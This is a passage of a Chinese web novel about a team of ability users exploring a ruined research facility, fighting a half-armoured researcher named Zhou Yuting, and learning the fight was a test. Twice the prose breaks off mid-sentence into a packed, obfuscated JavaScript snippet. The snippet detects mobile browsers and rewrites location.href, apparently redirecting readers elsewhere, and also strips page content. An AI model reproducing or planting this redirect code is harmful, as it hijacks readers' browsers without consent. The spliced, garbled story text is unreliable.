片刻后,他朝闻人略微微点头,简短指示:“右下方,三处应力点,依次破坏。” 闻人略会意,上前一步,手按在指定位置,【拆了就行】随之发动。 陆昭妄甩了甩靴子上的泥浆,看着正在按照闻人策指示尝试开门的闻人略,凑到沈悬衡身边,压低声音。 “看这架势,咱们的‘好队友’对着破门也得按部就班,我还以为能有点什么惊天动地的‘立竿见影’呢。” 沈悬衡的目光却越过正在忙碌的两人,落在那些湿漉漉的爪痕上,轻声回应。 “但他们至少知道该从哪里入手,以及……该用什么‘方法’。” 她的语气里带着一丝不易察觉的审慎,这意味着对方掌握的信息,远比他们共享出来的要多。 门内并非预想中的黑暗,一种不知来源的、冰冷的白光均匀地洒落在通道内。 空气凝滞,带着一股浓重的尘埃和金属锈蚀混合的气味,仿佛这个地方已经密封了数个世纪。 与门外泥泞混乱的世界相比,这里干净得过分,也死寂得过分。 闻人策收起地图,目光如同精密的扫描仪,快速掠过通道两侧紧闭的房门和墙壁上残留的、意义不明的标识。 “根据结构推断,核心数据区在这个方向。”他指向通道深处。 众人跟着他前行,脚步声在空旷的通道里被放大,传出回响。 沿途经过的几个房间门锁大多损毁,里面堆放着散落的文件、翻倒的桌椅和一些无法辨认用途的、锈蚀严重的仪器残骸。 一切都保持着灾难发生时的瞬间状态,只是覆盖上了厚厚的灰尘。 在一个相对宽敞、门口标识着“资料归档处”的房间前,闻人策停下。 “这里有较高概率存在未被完全转移或销毁的实体记录。” 闻人略上前,手按在门把手上——那是一个老式的机械锁,但内部结构显然卡死了。 他没有犹豫,【拆了就行】瞬间发动,只听门锁内部传来几声细微的、仿佛金属疲劳断裂的“咔嚓”声,门应声而开,甚至没有扬起多少灰尘。 房间内部比通道更显狼藉。 文件柜东倒西歪,纸张散落一地,上面布满了潮气侵蚀的霉斑和数据风暴留下的、如同烧伤般的诡异焦痕。 沈悬衡蹲下身,小心地拂开一张残破纸张上的灰尘,上面模糊的字迹依稀可辨。 “……项目七号……结构再次崩解……意识信号湮灭……” 她微微蹙眉,继续翻找。 陆昭妄则对着一台被砸烂的终端机残骸撇了撇嘴,似乎对这种暴力破坏很不以为然,但也没多说什么,转而检查起一个半开的、里面似乎还存放着一些东西的金属文件盒。 虞清欢没有参与搜寻,她靠在门边,目光落在正小心翼翼翻阅着一叠潮湿粘连的报告的沈悬衡身上,又瞥了一眼在旁边只是观察、并未动用异能的陆昭妄,嘴角勾起一抹浅笑,状似随意地开口。 “沈医生,陆先生,这一路看下来,两位的身手和观察力真是令人佩服。不过,我有些好奇,似乎很少见到两位依赖异能?在这种地方,保留实力固然重要,但有时候,效率不是更高吗?” 沈悬衡抬眼看了虞清欢一下,目光平静,手上的动作未停,将一张印有“人造基石技术——阶段性风险评估”标题的残页小心地抽了出来。 “异能是工具,过度依赖会让人失去运用其他能力的机会。”她的声音一如既往的平稳,“我们知道什么时候必须使用它。” 她没有透露更多,比如对代价的隐忧,只是陈述了一个看似客观的事实。 陆昭妄闻言,从文件盒里拎出一本边角卷曲、封面被某种液体污损的硬皮笔记本,在手里掂了掂,接话道。 “可不是嘛,好钢得用在刀刃上。像这种翻箱倒柜的活儿,哪用得着大动干戈?” 他话里有话,眼神扫过刚刚被闻人略暴力拆解的门锁。 虞清欢轻笑出声,仿佛没听出他话里的刺。 “有道理。看来两位对自己的判断非常有信心。” 她的视线重新回到沈悬衡手中的残页上,带着恰到好处的好奇。 “找到什么有趣的东西了吗?” 沈悬衡看着那张残页,上面除了标题,只剩下一些断断续续的句子。 “……我们主张……不惜代价……加速进程……” “……反对意见……记录损毁……提及‘自然引导’……” “……高同步率伴随……结构性风险……不可逆……” 沈悬衡将残页递给走近的虞清欢,语气没有什么波动。 “一些过去的争执。看起来,为了他们想要的‘结果’,有些人愿意付出任何代价。” 虞清欢接过那张残页,目光快速扫过上面那些触目惊心的词句,嘴角那抹笑意淡去了几分,染上一丝的凝重。 “‘不惜代价’……”她轻声重复着,指尖在纸张边缘无意识地摩挲了一下,“看来这地方藏着的故事,比我们想象的还要沉重。这些信息很有价值,小衡。” 陆昭妄闻言,从旁边探过头来,瞥了眼虞清欢手中的纸张,嗤笑一声:“价值?我看是‘价格’不菲吧。用别人的命填出来的‘成果’,听起来就跟某些公司的KPI一样恶心。” “陆先生总是能一针见血。” 虞清欢不动声色地将残页收好,重新挂上笑容。 “不过,有时候了解黑暗的深度,恰恰是为了寻找光明的方向,不是吗?” 沈悬衡没有参与这场言语交锋,她的目光依旧停留在散落的文件上,试图从残片中拼凑更多信息。 她拿起另一张边缘焦黑的纸片,上面只有零星的词语。 “……结构性风险……不可逆……” 她轻声念出,眉头微蹙。 “行了,圣人小姐,再看也看不出花来。” 陆昭妄拍了拍手上的灰,语气带着点不耐烦。 “这地方到处都是这种调调的报告,看得人脑仁疼。还是继续往前走吧,我更好奇前面还有什么‘惊喜’。” 一行人稍作整理,便再次启程,跟着闻人策的指引,向着建筑更深处行进。 越往里走,通道越发狭窄,环境也愈发破败。 空气中开始弥漫着一股若有若无的、类似电路过载后的焦糊味。 墙壁上开始出现更多不规则的凸起和裂缝,有些裂缝中甚至能看到微弱闪烁的数据流光,像是不稳定的神经末梢。 “这里的结构损伤比外部看起来严重得多,”闻人策突然开口,打破了沉默,“能量残留的分布也很异常,似乎经历过不止一次剧烈的内部冲击。” “内部冲击?”陆昭妄挑眉,“你是说,这地方是从里面炸开的?” “可能性很高。”闻人策推了推眼镜,“而且不是一次性的爆炸,更像是……持续的能量失控。” 终于,在穿过一道倾斜的金属廊桥后,他们的去路被一堆混合着断裂混凝土和扭曲钢筋的坍塌物堵死了大半,只留下一个需要弯腰才能勉强通行的狭窄缝隙,缝隙深处幽暗,看不清具体情况。 “啧,此路不通?”陆昭妄打量着那堆障碍物,又瞥了一眼旁边墙壁上明显的结构性裂纹,“看样子像是被什么东西从上面砸了一下。我说策哥,你这地图上没标注这里有个天然的违章建筑吧?” 闻人策没有理会他的调侃,他站在坍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647191|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塌物前,双眼微眯,瞳孔中再次掠过难以察觉的数据流光,【最优解】已然发动。 几秒后,他指向坍塌物靠近顶部的一个位置,语速平稳地对闻人略说。 “左侧上方第三块混凝土,内部应力已接近临界,移除它,可引发小范围结构性滑落,清出通道。注意规避落石。” 闻人略点头,上前几步,目光锁定目标。他没有使用任何工具,只是伸出手,掌心贴合在那块巨大的混凝土块表面。 下一刻,他手臂肌肉微微绷紧,异能发动。 只听一阵细微的、仿佛内部结构正在被高速瓦解的“簌簌”声,那块巨大的混凝土块竟以肉眼可见的速度从他掌心接触点开始崩解、风化,化作细密的粉尘和碎屑簌簌落下,露出了后面相对稳固的金属支架和更宽敞的通道。 整个过程高效、精准,几乎没有引起大的震动或额外的坍塌。 尘埃落定,通道显露。 陆昭妄看着那堆瞬间“瘦身”不少的障碍物,又看了看面不改色的闻人略,吹了个口哨。 “效率挺高啊,‘拆哥’。这手艺,放在旧时代搞拆迁绝对是这个。”他比了个大拇指,语气里带着惯有的戏谑,“不过下次能不能提前打个招呼?这一嘴灰。” 闻人略收回手,拍了拍沾上的灰尘,鼻子里发出一声几不可闻的轻哼:“怕吃灰就站远点。” 语气依旧生硬,但比起最初的剑拔弩张,已经缓和了不少。 虞清欢脸上重新挂上明媚的笑容,拍了拍手。 “真是漂亮的配合!策的判断和略的执行,每次都让人放心。看来我们这次合作,确实是选对了。”她的目光扫过沈悬衡和陆昭妄,语气真诚,“有两位的敏锐观察力,再加上我们的经验,相信很快就能揭开这里的秘密。” 沈悬衡的视线则越过新开辟的通道,望向深处那片依旧被阴影笼罩的区域,她的指尖无意识地蜷缩了一下。 那里的空气似乎更加凝滞,那股若有若无的焦糊味也变得明显了些。 穿过被闻人略清理出的通道,一股混合着陈腐气息和微弱臭氧味的空气扑面而来。 眼前的景象豁然开朗,与之前经过的那些杂乱破败的区域截然不同。 这里像是一个宏大的中枢空间,挑高的穹顶,宽阔的平台。 巨大的、已经黑屏的控制台沿着弧形墙壁排列,上面布满了厚厚的灰尘,但整体结构看起来却出奇地完整。 更令人惊讶的是,地面相对干净,没有散落的杂物,只有均匀的积尘,仿佛被某种规律性的力量长久地维持着这种静止状态。 空气中那股若有无的焦糊味在这里似乎也淡了些,被一种更深沉、更冰冷的寂静所取代。 “和外面的混乱相比,这里简直像是个被遗忘的圣殿。” 虞清欢轻声说道,她的目光带着审视,缓缓扫过整个空间,最后与闻人策交换了一个眼神。 闻人策快速扫过整个控制室,最终定格在正前方最高处的一个半开放式观察平台上。 他的手指在便携终端上快速滑动,似乎在调取或比对数据。 陆昭妄环顾四周,咂了咂嘴。 “啧,外面打得稀烂,里面倒是保存得挺体面。这算不算金玉其外?” 他习惯性地想找个地方靠一下,但看到控制台上那厚厚的灰尘,还是嫌弃地站直了身体,转而把手臂不轻不重的搭在沈悬衡肩上。 沈悬衡没有理会他的调侃和动作。 她的目光掠过那些沉寂的控制台,落在观察平台下方一些连接着粗大线缆、结构更为复杂的设备上。 那些设备的外壳上,残留着一些难以辨别的暗色污渍,以及……几道非常细微,但绝非灰尘自然堆积所能形成的擦痕。 【私心天平】对环境中残留的“概念”极其敏感,在这里,异能被动触发,让她感知到了一种极其微弱的、混合着“偏执”、“守护”以及某种更深沉“悲伤”的复杂情绪碎屑,如同沉入水底的化石。 就在她试图更清晰地捕捉这种感觉时,一个平静、清晰,却带着一种非人质感的女性声音,毫无预兆地在空旷的大厅里响起,打断了所有人的动作和思绪。 “之前只是默许你们在附近找个地方住下,可没允许你们到处乱跑乱翻。” 声音落下的瞬间,高处观察平台的灯光“啪”地一声亮起,精准地打在那个平台上,照亮了一个不知何时出现在那里的身影。 那是一个穿着残破、沾满污迹的白色研究员制服的女人。 她的左半边脸颊覆盖着光滑、漆黑、与“秩序行者”外壳无异的物质,与另一边苍白但属于人类的肌肤形成了诡异而惊心的对比。 她站在那里,眼神清明,甚至带着一种过于冷静的审视,俯视着下方这群不速之客。 灯光在她半是血肉半是甲壳的脸上投下深刻的阴影。 空气仿佛在这一刻凝固了。 尘埃在光柱中悬浮,不再飘动。 所有的声响,包括呼吸,都被这突如其来的对峙和那非人半人身影所带来的压迫感所吞噬。 35. 刷新的关底BOSS 控制室的空气仿佛凝固成了实体。 那个穿着破旧白大褂、戴着黑色手套的女人就这样静静地站在那。她没有说出更多话语,甚至没有给众人更多打量她的时间。 她戴着黑色手套的右手随意地抬了抬,指尖似乎在空中某个不存在的界面上轻轻一点。 “嗡——” 刺耳的嗡鸣声猛地炸开,撕破了短暂的寂静。 天花板上,几个早已被判定为报废的自动机枪塔,其炮口竟诡异地亮起了猩红色的瞄准射线。地面,几块看似普通的地板砖突然翻转,升起了滋滋作响、泛着幽蓝光芒的能量栅格。 死亡的气息,带着一股电路过载的焦糊味,瞬间弥漫开来。 “散开!” 闻人策的声音几乎是和第一声枪响同时迸发。 他镜片后的目光锐利如刀,身形急退的同时,语速快得像在播报股票代码。 “左翼三号塔台基座是弱点!避开二号与五号栅格之间的区域,能量反馈有0.7秒延迟!” 根本不需要更多指令。 闻人略如同被按下了启动键的杀戮机器,矮身、前冲,动作流畅得没有一丝多余。 他无视了擦着头皮飞过的能量光束,目标明确地扑向闻人策所指的机枪塔。 拳头,或者说他惯用的破坏方式,直接砸向那锈蚀的基座连接处——“咔嚓!”金属扭曲断裂的声响,在枪林弹雨中格外清脆。 虞清欢酒红色的发辫在空气中划出一道凌厉的弧线,她并未后退,反而上前半步,无形的【共情领域】以她为中心悄然张开,将闻人兄弟笼罩在内。 “略,右偏十五度!”她声音清亮,带着一种奇异的安抚力量,让闻人略在千钧一发之际侧身,避开了从侧面扫来的一串子弹。 而另一侧,陆昭妄的反应同样迅捷。 他几乎是在女人抬手的同时,就一脚踹翻了旁边一个沉重的控制台残骸,厚重的金属外壳成了临时的掩体。子弹“砰砰砰”地打在金属板上,溅起一连串火星。 “喂!”他扯着嗓子,声音在震耳欲聋的枪声中依旧带着那股让人牙痒痒的腔调,“打招呼的方式够别致啊!你们这儿的欢迎仪式是按‘死刑犯待遇’标准定的吗?” 虽然嘴上跑着火车,身体却像泥鳅一样滑溜,借着各种障碍物规避,深褐色的眼睛飞快地扫视着高处那个移动的身影,试图找出规律。 沈悬衡没有选择硬碰硬的掩体,长发随着她的动作轻轻晃动,身影在密集的火力网中穿梭。 她总能找到那些微不足道的视觉死角和安全间隙,身影时而贴地翻滚,时而借助倾倒的机柜作为支点跃起。 她的目光不仅关注着自己的安危,更时刻掠过全场,尤其是虞清欢三人组的方向,医生本能让她下意识地评估着每个人的状态和位置。 女人的攻击冷酷而高效。 她在高处的观察平台和狭窄的金属廊桥间移动,脚步轻得如同鬼魅,白大褂的衣角在高速移动中猎猎作响。 她不再使用那些笨重的防御装置,戴着手套的右手偶尔凌空点出,便有一道道由纯粹数据流凝聚而成的、泛着冷光的能量箭矢疾射而下,角度刁钻,速度快得惊人。 战斗从一开始,就进入了白热化。 突然,靠近控制室中央的一片地板毫无征兆地向下塌陷,露出下方黑洞洞的、布满交错管道的空间。 塌陷范围正好将试图向闻人策靠拢的虞清欢囊括了进去! “清欢姐!”闻人略怒吼一声,想冲过去,却被两台突然转向的机枪塔火力死死压制。 虞清欢脚下落空,身体瞬间失衡向下坠去! 就在这电光石火之间,一道身影如同早有预料般,出现在塌陷边缘。 是沈悬衡。 她不知何时已经移动到附近,在虞清欢下坠的瞬间,她伸出手,精准地抓住了虞清欢的手腕! 力道不大,却异常稳定。 “借力!”沈悬衡身体后仰,利用自身的重量和巧劲,硬生生将虞清欢从陷坑边缘拽了回来,两人一起滚落到相对安全的地带。 虞清欢惊魂未定,琥珀色的眼眸看向沈悬衡,急促地道谢:“谢谢!” 沈悬衡只是摇了摇头,苍白的脸上没什么表情,目光再次投向高处那个不断移动、制造麻烦的女人。 陆昭妄那边也没闲着。他刚利用一个爆炸的终端机吸引了一波火力,扭头就看到沈悬衡救下虞清欢的一幕,嘴角几不可查地撇了撇,嘀咕道:“啧,圣人小姐业务真繁忙……” 话音未落,他头顶的一道廊桥上,女人的身影悄然浮现,数支能量箭矢已锁定了他。 陆昭妄瞳孔微缩,骂了句“操!”,猛地向侧后方扑去。 “轰!” 他原先站立的地方被能量箭矢炸开一个焦黑的坑洞。 战斗的喧嚣在控制室内激烈地碰撞、回响。 陆昭妄刚才的规避动作虽然惊险,却也让他顺势滚入了一个由倾倒机柜和断裂线缆构成的相对复杂区域。 这里障碍物众多,反而在一定程度上干扰了高处机枪塔的锁定。 他背靠着灼热的金属板,快速喘息着,目光如同精准的探针,扫过全场。 “疯子……” 他低骂一句,不知道是在说那个沉默的女人,还是在说这个混乱的局面。 陆昭妄注意到闻人略正被两台机枪塔和不时射下的能量箭矢压制在一块狭小区域,而虞清欢和沈悬衡虽然暂时安全,但也被活跃的防御装置分隔开来。 女人依旧在高处移动,如同一个冷静的指挥家,调动着场内的一切杀机。 她的攻击似乎并非完全随机,带着某种……针对性。 就在这时,异变再生。 “咔嚓…轰隆!” 靠近虞清欢和沈悬衡所在区域的一整面墙壁,突然如同被无形巨手推搡,内部的结构发出不堪重负的呻吟,猛地向内凸起、裂开! 不是爆炸,更像是某种定向的应力崩塌。 大量的建筑材料碎块和扭曲的金属管道劈头盖脸地砸落下来,烟尘瞬间弥漫。 这变故来得太快,范围又太大,几乎封死了两人所有常规的闪避路线。 “小心!” 虞清欢只来得及喊出这一声,就被迫向侧面扑倒,试图避开最主要的落石区。 沈悬衡的反应几乎同步,她向另一个方向翻滚,但一块崩裂的、带着尖锐断口的混凝土板正朝着她翻滚的路径砸下!眼看就要被压个正着—— 一道身影如同鬼魅般从侧面切入! 是陆昭妄。 他不知道什么时候,借着烟尘和混乱的掩护,竟然冒险穿过了大半个火力交织的区域。 他没有试图去硬撼那块沉重的混凝土板,而是在千钧一发之际,猛地一脚踹在沈悬衡侧后方一个半埋在地里、闪烁着紊乱电火线的金属箱上! “砰!” 金属箱被他这蕴含巧劲的一脚踢得移位,恰好撞在旁边一根裸露的、承托着部分坍塌结构的弯曲钢梁上。 “吱嘎——!” 令人牙酸的金属扭曲声响起,那根钢梁被这一撞,发生了细微的偏转。 就是这微不足道的偏转,让那块砸落的混凝土板下坠的轨迹产生了极其细微的改变! “轰!” 混凝土板擦着沈悬衡的后背重重砸在地面上,溅起的碎石打得她生疼,但终究是避开了被直接命中的厄运。 沈悬衡在尘土中抬起头,看向刚刚收脚、正借着惯性重新躲回掩体后的陆昭妄。 他脸上依旧是那副混不吝的表情,甚至还有空冲她挑了挑眉,仿佛在说“看,又救你一次”。 没有道谢,也没有多余的交流。 沈悬衡迅速爬起身,目光再次锁定高处。 她知道,这种程度的“帮忙”对陆昭妄来说,更像是他逻辑游戏里顺手为之的一步棋。 女人的攻击并未因这点插曲而停顿。 她似乎对陆昭妄的“多管闲事”略有反应,下一次能量箭矢的落点更加刁钻,几乎是追着他的移动轨迹封堵。 另一边,闻人略终于找到了机会。 在闻人策精准的报点和虞清欢领域的预警下,他硬顶着侧翼的骚扰,再次爆发,如同人形暴龙般冲向另一台正在疯狂扫射的机枪塔。 这一次,他没有直接攻击基座,而是利用异能对物质结构的理解,徒手撕开了塔台侧面一块相对薄弱的装甲板,将里面纠缠的电线线路粗暴地扯断! “滋啦——”一阵电火花爆闪,那台机枪塔抽搐了几下,炮口的光芒迅速黯淡下去。 压力稍减。 然而,女人显然不打算给他们任何喘息之机。 她停止了快速移动,静静站立在最高的一处环形廊桥上,戴着黑手套的右手缓缓平伸。 没有光芒,没有声响。 但一股无形的、沉重如山的压力骤然降临! 这压力并非作用于□□,而是直接压在每个人的精神上。 恍惚间,仿佛有无数混乱的低语、绝望的嘶鸣、冰冷的数据流强行挤入脑海,试图搅乱思维,瓦解意志。 首当其冲的是精神感知最为敏锐的沈悬衡和虞清欢。 沈悬衡身体猛地一僵,清秀的脸上瞬间褪去血色,黑棕色的眼眸中闪过一丝不易察觉的痛苦。 她感觉自己的意识像是被投入了搅拌机,各种负面情绪和信息碎片疯狂冲击着她的防线。 但她咬紧了下唇,指甲深深掐入掌心,用疼痛维持着最后的清醒。 几乎是本能地,沈悬衡向前挪了半步,将因为维持领域而承受着更大精神冲击、身形微晃的虞清欢,更严密地挡在了自己侧后方。 虞清欢感受到的压力更为具体,【共情领域】此刻仿佛成了双刃剑,让她更清晰地“听”到了那些精神杂音中的痛苦与疯狂。 她闷哼一声,额角渗出细密的冷汗,领域的光芒都微微摇曳起来。 虞清欢看向挡在自己身前的沈悬衡那单薄却挺直的背影,琥珀色的眼眸中闪过一丝复杂。 陆昭妄和闻人兄弟也受到了影响,动作明显滞涩了一瞬,仿佛大脑的指令传递变得迟缓。 这股精神压迫持续了大约十秒。 然后,如同它出现时一样,毫无征兆地消失了。 控制室内只剩下物理攻击的喧嚣。机枪塔还在轰鸣,能量栅格依旧闪烁。 女人站在高处,破旧的白大褂在气流中微微拂动。 她沉默地俯视着下方,冰冷的视线扫过每一个人的脸,最终在脸色苍白却眼神依旧沉静的沈悬衡身上,多停留了那么一瞬。 精神压迫的余威尚未完全散去,控制室内的物理攻击却骤然加剧,仿佛要将众人刚刚缓过的一口气彻底掐灭。 数道原本只是在地面若隐若现的能量栅格猛地亮起刺目的蓝光,如同活物般开始快速移动、组合,试图将空间切割成更小的囚笼。 天花板上残余的机枪塔不再漫无目的地扫射,而是配合着女人手中不断射出的、角度愈发刁钻的数据箭矢,进行精准的火力压制。 “她在压缩我们的活动空间!”闻人策的声音带着急促的喘息,镜片后的目光飞速计算,“清欢姐,左侧廊桥底部支撑结构脆弱,略!” “明白!” 闻人略怒吼一声,不顾擦肩而过的能量光束,如同蛮牛般冲向闻人策指示的位置。他需要为队伍撕开一个缺口。 陆昭妄的情况则有些不妙。 他似乎被女人重点“关照”了,连续几支能量箭矢几乎封死了他所有可能的移动轨迹,逼得他不得不连续进行高难度的规避动作,体力消耗巨大。 他刚险之又险地低头避过一道贴着头皮飞过的幽蓝光束,脚下却不慎踩中了一块因之前爆炸而松动的金属板。 “咔哒——” 轻微的机括声响起。 陆昭妄心中警铃大作,想也不想就要向侧后方跃开。 然而,还是晚了一步。 他身旁两侧以及头顶,数面原本隐藏在天花板和墙壁内的能量力场瞬间激发,幽蓝色的光壁如同合拢的花瓣,眨眼间便将他封锁在一个不足三立方米的狭小空间内! 力场光壁发出令人心悸的嗡鸣,并且以肉眼可见的速度向内收缩,压迫感扑面而来。 几乎在同一时间,另一侧试图强行拆解障碍的闻人略,也被女人预判了动作。 她似乎早就在等待这个机会,数支蓄势待发的数据箭矢并非射向闻人略本人,而是射向他身后和侧方的地面与残骸。 “轰!轰!轰!” 小范围的爆炸和能量冲击并非为了直接杀伤,而是为了制造障碍和推动力。 闻人略猝不及防,被一股混合着冲击波和能量乱流的力量猛地推向了陆昭妄所在的方向。 而就在他靠近的瞬间,那原本只困住陆昭妄的能量囚笼光壁如同有生命般骤然扩张,将收势不及的闻人略也一并吞了进去! 囚笼的大小并未改变,却硬生生塞进了两个人。 光壁内部的能量乱流瞬间变得更加狂暴,撕扯着他们的神经,挤压着他们的生存空间。 囚笼收缩的速度明显加快,死亡的阴影如同冰冷的蛇,缠绕上两人的脖颈。 “妈的!” 陆昭妄在囚笼内试图发动【逻辑重构】,寻找这力场的逻辑漏洞,但周围狂暴的能量乱流严重干扰着他的感知和计算,如同在惊涛骇浪中试图穿针引线,效果微乎其微。 他对着光壁外吼道:“别管我们!先拆了那个主控发射器!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647192|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他指的是远处一个正在持续释放干扰能量、压制虞清欢和闻人策的装置。 然而,就在他话音落下的瞬间,光壁外的沈悬衡动了。 她没有丝毫犹豫,甚至没有去看那个主控发射器。 她的身影在枪林弹雨中划出一道决绝的直线,直冲向能量囚笼。 右手手背上,那个天平状的疤痕骤然变得灼热,一缕纤细却无比凝实的翠绿色数据流自她指尖迸发,如同精准的手术刀,强行刺入了囚笼那不断收缩、极不稳定的能量结构之中! 【私心天平】——发动! 沈悬衡并非试图去直接对抗或抵消整个囚笼的能量,那超出了她目前的负荷。 她所做的,是强行建立了一个极其危险的“分担”连接。 将囚笼部分“结构稳定性”的概念,以及那狂暴能量乱流对内部生命体的“压迫”与“侵蚀”意图,硬生生转移、引导向自身! “呃……”沈悬衡闷哼一声,身体剧烈地颤抖了一下,脸色以肉眼可见的速度变得惨白如纸,仿佛全身的血液都在瞬间被抽离。 但她咬紧牙关,那双黑棕色的眼眸中燃烧着一种近乎固执的光芒,支撑着那道连接没有中断。 囚笼收缩的速度,因这突如其来的内部干扰,出现了极其细微但确实存在的凝滞! “清欢姐!” 几乎在沈悬衡动手的同时,闻人策的吼声也响了起来。 他无视了侧面袭来的能量箭矢,【最优解】以前所未有的速度运转,瞳孔中倒映着疯狂流转的数据流。 “囚笼能量节点!三点钟方向,红色耦合器,物理破坏!略需要机会!” 虞清欢没有任何迟疑。 她深吸一口气,将【共情领域】的范围猛地收缩,几乎全部凝聚在闻人策周围,为他强行撑开一片相对稳定的精神屏障,硬生生扛住了女人随之而来的、更加密集的精神干扰和数据箭矢袭击。 她身躯微震,嘴角溢出一缕血丝,但眼神依旧坚定。 “略!”闻人策喊道。 囚笼内,被能量乱流冲击得肌肉痉挛的闻人略,听到了兄长的指令,也看到了外部沈悬衡那摇摇欲坠却依旧坚持的身影。 他怒吼一声,凭借野兽般的直觉和对自身异能的掌控,强行在混乱中拆下了囚笼内壁一小块不断闪烁的能量导管,用尽全身力气,将其从光壁微弱的能量交互缝隙中递了出去! 闻人策目光锁定那飞出的零件,计算着轨迹、风速、能量干扰……所有变量在脑中瞬间完成统合。 他没有使用异能,而是如同一个最精密的投掷机器,手臂猛地一挥! “咻——” 那截能量导管如同离弦之箭,精准无比地射中了闻人策计算出的、那个隐藏在复杂管线中的红色耦合器! “嘭!” 一声不算响亮但异常清脆的爆裂声。 整个能量囚笼的光芒剧烈地闪烁、明灭,内部狂暴的乱流瞬间失控、冲突,最终在一阵刺耳的能量嘶鸣中,轰然溃散!化作漫天飘零的蓝色光点。 陆昭妄和闻人略从半空中跌落,单膝跪地,剧烈地咳嗽着,身上还残留着被能量侵蚀的灼痛感。 陆昭妄抬起头,看向不远处脸色惨白、几乎站立不稳的沈悬衡,扯了扯嘴角,想说什么,最终却只化作一句带着复杂情绪的:“……算得真准,策哥。” 闻人略则撑着膝盖,看向虞清欢和沈悬衡,闷声道:“清欢姐,沈悬衡,谢了。” 然而,就在五人刚刚脱离险境,气息未匀,精神与体力都处于最低谷的刹那—— 那道穿着破旧白大褂的身影,如同鬼魅般,毫无征兆地出现在了五人中间。 她的速度快到了极致,远超之前任何一次移动。 戴着黑手套的右手并指如刀,左手或拍或按,动作简洁、高效,没有丝毫多余。 “砰!” “呃!” “啪!” “咳……” …… 几乎是在同一时间,精疲力尽、措手不及的五人,只觉得一股无法抗拒的力量击中身体的脆弱部位,或是关节,或是脖颈侧后。 力量控制得极其精准,足以让他们瞬间失去反抗能力,却又避开了真正的要害。 陆昭妄试图格挡的手臂被一股巧劲荡开,肋下传来一击。 沈悬衡刚凝聚起的一点数据流被直接拍散,肩胛处传来酸麻。 虞清欢想后撤,脚踝却被轻轻一绊,重心顿失。 闻人策的计算在绝对的速度面前失去了意义。 闻人略怒吼着挥拳,却打了个空,后颈遭到一击。 不过呼吸之间,五人已尽数倒地,暂时失去了战斗力。 控制室内,一时间只剩下粗重的喘息声,和远处设备短路发出的、微弱的噼啪声。 女人立于倒地的五人之间,白大褂下摆沾染了些许灰尘,却依旧整齐。 戴着黑色手套的右手自然垂在身侧,另一只未戴手套的手插在了大褂侧兜。 她身上那凌厉如刀的攻击性已然消失无踪,仿佛刚才那个在枪林弹雨和能量风暴中如同鬼魅般致命的怪物只是众人的幻觉。 她的目光缓缓扫过或挣扎、或惊愕、或愤怒、或沉思的五张面孔,那冰冷的、如同数据扫描般的审视感渐渐褪去。 最终,一丝极淡的、难以捉摸的情绪——像是卸下了某种沉重负担后的疲惫,又像是对某种结果的微妙释然——在她眼底一闪而过。 她轻轻吸了口气,然后用一种与之前激烈战斗格格不入的、带着浓浓慵懒和一丝仿佛事不关己的语气,轻轻吐出了几个字: “啊……我投降,收手吧。” 众人:“?” 话音落下,整个控制室仿佛被按下了静音键。 陆昭妄撑到一半的动作彻底僵住,脸上的表情凝固在错愕与“你他妈在开玩笑”之间。 沈悬衡微微睁大了眼睛,连呼吸都仿佛停滞了一瞬。 虞清欢准备好的下一个防御姿态僵在了一半,笑容彻底僵在脸上。 闻人略保持着蓄势待发的姿势,脑子似乎还没处理完这简单的几个字。 闻人策推眼镜的手顿在半空,所有的计算和推演在这一刻都得出了“逻辑错误”的结论。 硝烟尚未散尽,短路火花的噼啪声成了此刻唯一的背景音。 所有的拼死抵抗、所有的默契配合、所有的惊险瞬间,都被这轻飘飘的一句话彻底颠覆,凝固成一片巨大而荒诞的寂静。 五人面面相觑,在这突如其来的、近乎儿戏的休战宣言面前,一时间竟完全失去了反应,只剩下满心的难以置信和一头雾水。 陆昭妄抽了抽嘴角,忍着全身肌肉撕裂般的疼痛说道。 “我操……” 36.考官的游戏 控制室内弥漫着硝烟与能量过载的焦糊气味,粗重的喘息声此起彼伏。 陆昭妄第一个试图撑起身体,肌肉传来过度使用后的酸胀和乏力感,让他动作有些迟滞。 他甩了甩头,仿佛想把刚才那顿莫名其妙的毒打从脑子里甩出去,眼睛死死盯住那个站在他们中间,显得异常平静的女人,语气里充满了毫不掩饰的讥讽和怒气。 “投降?”他扯了扯嘴角,“你把我们当沙包捶了一顿,然后轻飘飘一句‘投降’?玩呢?你到底想干什么?” 女人歪了歪头,脸上露出困惑的表情,仿佛陆昭妄问了一个多么显而易见又愚蠢的问题。 “测试啊。”她语气轻快,与周围一片狼藉的控制室格格不入,甚至还随意地用脚尖踢开了手边一块烧焦的电路板碎片,“不然呢?难道请你们喝茶聊天,互相做个自我介绍吗?”她用戴着手套的那只手掰着另一只手的手指,“突袭战是检测反应能力、协作水平、抗压能力,还有同理心的最直接方式了。”她那双似乎能看透人心的眼睛,在沈悬衡和虞清欢身上微妙地停留了一瞬。 “忘记自我介绍了,我叫周雨婷,周雨婷的周,周雨婷的雨,周雨婷的婷。” “……” 她开始像个验收玩具的孩子一样,在倒地的五人之间踱着小步,完全无视了陆昭妄那几乎要杀人的目光和闻人略紧绷的肌肉。 